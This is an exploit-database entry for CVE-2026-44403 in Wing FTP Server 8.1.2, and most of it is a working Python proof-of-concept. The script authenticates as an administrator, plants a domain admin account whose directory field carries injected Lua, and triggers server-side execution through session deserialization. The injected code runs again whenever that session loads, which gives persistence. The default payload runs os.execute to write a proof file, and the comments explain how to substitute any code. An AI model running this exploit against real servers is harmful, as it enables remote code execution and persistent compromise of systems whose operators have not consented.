Wing FTP Server 8.1.3 - Authenticated Remote Code Execution

EDB-ID:

52589




Platform:

Multiple

Date:

2026-05-29


# Exploit Title: Wing FTP Server 8.1.3 - Authenticated Remote Code Execution 
# Date: 12.05.2026
# Exploit Author: Ünsal Furkan Harani
# Vendor Homepage:
[https://www.wftpserver.com/](https://www.wftpserver.com/download.htm)
# Software Link:
https://www.wftpserver.com/download.htm
# Version: v8.1.2
# Tested on: Wing FTP Server <= 8.1.2, fixed in 8.1.3
# CVE : CVE-2026-44403

Wing FTP Server v8.1.2 contains a Remote Code Execution (RCE) vulnerability in the session serialization mechanism. An authenticated administrator can inject arbitrary Lua code through the domain admin `mydirectory` (basefolder) field, which gets executed server-side via `loadfile()`.

#!/usr/bin/env python3
"""
PREREQUISITES:
  - Valid full admin credentials (not readonly, not domain admin)
  - Target: Wing FTP Server web admin panel (default port 5466)

IMPACT:
  Remote Code Execution as the Wing FTP Server service account.
  Persistence: payload re-executes every time the poisoned session is loaded.
"""

import requests
import hashlib
import json
import sys
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

class WingFTPSessionPoisoning:
    def __init__(self, target, admin_user, admin_pass, use_ssl=False):
        proto = "https" if use_ssl else "http"
        self.base_url = f"{proto}://{target}"
        self.admin_user = admin_user
        self.admin_pass = admin_pass
        self.session = requests.Session()
        self.session.verify = False

    def login(self):
        """Authenticate to the admin panel and obtain UIDADMIN session cookie."""
        # service_login.html accepts credentials via POST
        url = f"{self.base_url}/service_login.html"
        data = {
            "username": self.admin_user,
            "password": self.admin_pass,
        }
        headers = {
            "Referer": f"{self.base_url}/admin_login.html",
        }
        resp = self.session.post(url, data=data, headers=headers)
        try:
            result = resp.json()
            if result.get("code") == 0:
                print(f"[+] Login successful as '{self.admin_user}'")
                return True
            elif result.get("code") in (1, 2):
                print(f"[-] 2FA required — this PoC doesn't handle TOTP")
                return False
            else:
                print(f"[-] Login failed: {result}")
                return False
        except Exception:
            # Legacy endpoint (admin_loginok.html) returns HTML
            if "logged in ok" in resp.text or "main.html" in resp.text:
                print(f"[+] Login successful (legacy endpoint)")
                return True
            print(f"[-] Login failed: {resp.text[:200]}")
            return False

    def create_poisoned_admin(self, poison_admin_user, poison_admin_pass, lua_payload):
        """
        Create a domain admin with a poisoned 'mydirectory' (basefolder) field.

        The mydirectory value will be serialized as:
            _SESSION['admin_basefolder']=[[<mydirectory_value>]]

        Our payload breaks out of the [[ ]] long string:
            _SESSION['admin_basefolder']=[[/tmp/x]]<LUA_PAYLOAD>--]]

        When this session file is loaded via loadfile() + f(), the payload executes.
        """
        # Construct the poisoned basefolder value
        # Format: <innocent_prefix>]]<lua_code>--
        # The ]] closes the long string, code executes, -- comments out the rest
        poisoned_basefolder = f"/tmp/x]]{lua_payload}--"

        admin_obj = {
            "username": poison_admin_user,
            "password": poison_admin_pass,
            "readonly": False,
            "domainadmin": 1,        # Make it a domain admin
            "domainlist": "",         # Will be set by server
            "mydirectory": poisoned_basefolder,  # THIS IS THE PAYLOAD
            "ipmasks": [],
            "enable_two_factor": False,
            "two_factor_code": "",
        }

        url = f"{self.base_url}/service_add_admin.html"
        headers = {
            "Referer": f"{self.base_url}/main.html",
        }
        admin_json = json.dumps(admin_obj, separators=(',', ':'))

        print(f"[*] Creating poisoned domain admin '{poison_admin_user}'...")
        print(f"[*] Poisoned basefolder: {poisoned_basefolder}")
        # Use multipart/form-data — Wing FTP's Lua POST parser handles it more reliably
        resp = self.session.post(url, files={"admin": (None, admin_json)}, headers=headers)

        try:
            result = resp.json()
            if result.get("code") == 0:
                print(f"[+] Poisoned admin created successfully!")
                return True
            elif result.get("code") == -3:
                print(f"[!] Admin '{poison_admin_user}' already exists. Trying modify...")
                return self.modify_poisoned_admin(poison_admin_user, poison_admin_pass, lua_payload)
            else:
                print(f"[-] Failed to create admin: {result}")
                return False
        except Exception:
            print(f"[-] Unexpected response: {resp.text[:200]}")
            return False

    def modify_poisoned_admin(self, poison_admin_user, poison_admin_pass, lua_payload):
        """Modify existing admin to inject the poisoned basefolder."""
        poisoned_basefolder = f"/tmp/x]]{lua_payload}--"

        admin_obj = {
            "username": poison_admin_user,
            "password": poison_admin_pass,
            "readonly": False,
            "domainadmin": 1,
            "domainlist": "",
            "mydirectory": poisoned_basefolder,
            "ipmasks": [],
            "enable_two_factor": False,
            "two_factor_code": "",
        }

        # service_modify_admin.html has NO bracket stripping at all
        url = f"{self.base_url}/service_modify_admin.html"
        headers = {
            "Referer": f"{self.base_url}/main.html",
        }
        admin_json = json.dumps(admin_obj, separators=(',', ':'))

        resp = self.session.post(url, files={"admin": (None, admin_json), "oldname": (None, poison_admin_user)}, headers=headers)
        try:
            result = resp.json()
            if result.get("code") == 0:
                print(f"[+] Admin '{poison_admin_user}' modified with poisoned basefolder!")
                return True
            else:
                print(f"[-] Failed to modify admin: {result}")
                return False
        except Exception:
            print(f"[-] Unexpected response: {resp.text[:200]}")
            return False

    def trigger_payload(self, poison_admin_user, poison_admin_pass):
        """
        Trigger the payload by logging in as the poisoned domain admin.

        On login, service_login.html:95-96 stores the basefolder in session:
            rawset(_SESSION,"admin_basefolder",basefolder)
            rawset(_SESSION,"admin_nowpath",basefolder)

        SessionModule.save() serializes it as:
            _SESSION['admin_basefolder']=[[/tmp/x]]<PAYLOAD>--]]

        The payload executes on the NEXT session load (any subsequent request).
        """
        print(f"\n[*] Triggering payload by logging in as '{poison_admin_user}'...")

        trigger_session = requests.Session()
        trigger_session.verify = False

        url = f"{self.base_url}/service_login.html"
        data = {
            "username": poison_admin_user,
            "password": poison_admin_pass,
        }
        headers = {
            "Referer": f"{self.base_url}/admin_login.html",
        }

        # Step 1: Login — stores poisoned basefolder in session
        resp = trigger_session.post(url, data=data, headers=headers)
        print(f"[*] Login response: {resp.text[:200]}")

        # Step 2: Any subsequent request triggers loadfile() on the session file
        # The session file now contains the Lua payload
        trigger_url = f"{self.base_url}/service_get_dir_list.html"
        headers["Referer"] = f"{self.base_url}/main.html"
        resp2 = trigger_session.post(trigger_url, data={"dir": ""}, headers=headers)
        print(f"[*] Trigger response: {resp2.status_code}")
        print(f"[+] Payload should have executed on the server!")

        return True

def demo_session_file():
    """
    Demonstrate what the poisoned session file looks like.
    Shows the exact Lua code that gets written and executed.
    """
    print("=" * 70)
    print("DEMONSTRATION: Poisoned Session File Content")
    print("=" * 70)

    payload = 'os.execute("id > /tmp/wingftp_pwned.txt")'
    basefolder = f'/tmp/x]]{payload}--'

    print(f"\n[1] Admin sets mydirectory to:")
    print(f"    {basefolder}")

    print(f"\n[2] On login, session is saved. serialize() outputs:")
    session_content = f"""_SESSION['admin']=[[poisoned_admin]]
_SESSION['admin_basefolder']=[[{basefolder}]]
_SESSION['admin_domainadmin']=1
_SESSION['admin_domainlist']=[[]]
_SESSION['admin_nowpath']=[[{basefolder}]]
_SESSION['admin_readonly']=0
_SESSION['ipaddress']=[[127.0.0.1]]
_SESSION['logined']=[[true]]"""

    print(f"    --- session file content ---")
    for line in session_content.split('\n'):
        print(f"    {line}")
    print(f"    --- end ---")

    print(f"\n[3] Lua parser sees the basefolder line as:")
    print(f"    _SESSION['admin_basefolder']=[[/tmp/x]]  --> string '/tmp/x'")
    print(f"    {payload}                                 --> EXECUTED AS CODE!")
    print(f"    --]]                                      --> comment (ignored)")

    print(f"\n[4] Same for admin_nowpath line — payload executes TWICE.")

    print(f"\n[5] Result: '{payload}' runs as server process.")
    print("=" * 70)

def main():
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <mode> [args...]")
        print(f"")
        print(f"Modes:")
        print(f"  demo                              — Show how the vulnerability works")
        print(f"  exploit <host:port> <user> <pass>  — Create poisoned admin and trigger RCE")
        print(f"")
        print(f"Examples:")
        print(f"  {sys.argv[0]} demo")
        print(f"  {sys.argv[0]} exploit 192.168.1.10:5466 admin password123")
        sys.exit(1)

    mode = sys.argv[1]

    if mode == "demo":
        demo_session_file()

    elif mode == "exploit":
        if len(sys.argv) < 5:
            print("Usage: exploit <host:port> <admin_user> <admin_pass>")
            sys.exit(1)

        target = sys.argv[2]
        admin_user = sys.argv[3]
        admin_pass = sys.argv[4]

        # Default payload — write proof file (Windows-compatible)
        lua_payload = 'os.execute("whoami > C:\\\\wingftp_pwned.txt")'

        poison_admin = "svc_backup"
        poison_pass = "P@ssw0rd123!"

        print(f"[*] Wing FTP Server Session Poisoning RCE — Chain 2")
        print(f"[*] Target: {target}")
        print(f"[*] Payload: {lua_payload}")
        print(f"[*] Poisoned admin account: {poison_admin}")
        print()

        exploit = WingFTPSessionPoisoning(target, admin_user, admin_pass)

        if not exploit.login():
            sys.exit(1)

        if not exploit.create_poisoned_admin(poison_admin, poison_pass, lua_payload):
            sys.exit(1)

        exploit.trigger_payload(poison_admin, poison_pass)

        print(f"\n[*] Check /tmp/wingftp_pwned.txt on target for proof of execution")
    else:
        print(f"Unknown mode: {mode}")
        sys.exit(1)

if __name__ == "__main__":
    main()

Sent with [Proton Mail](https://proton.me/mail/home) secure email.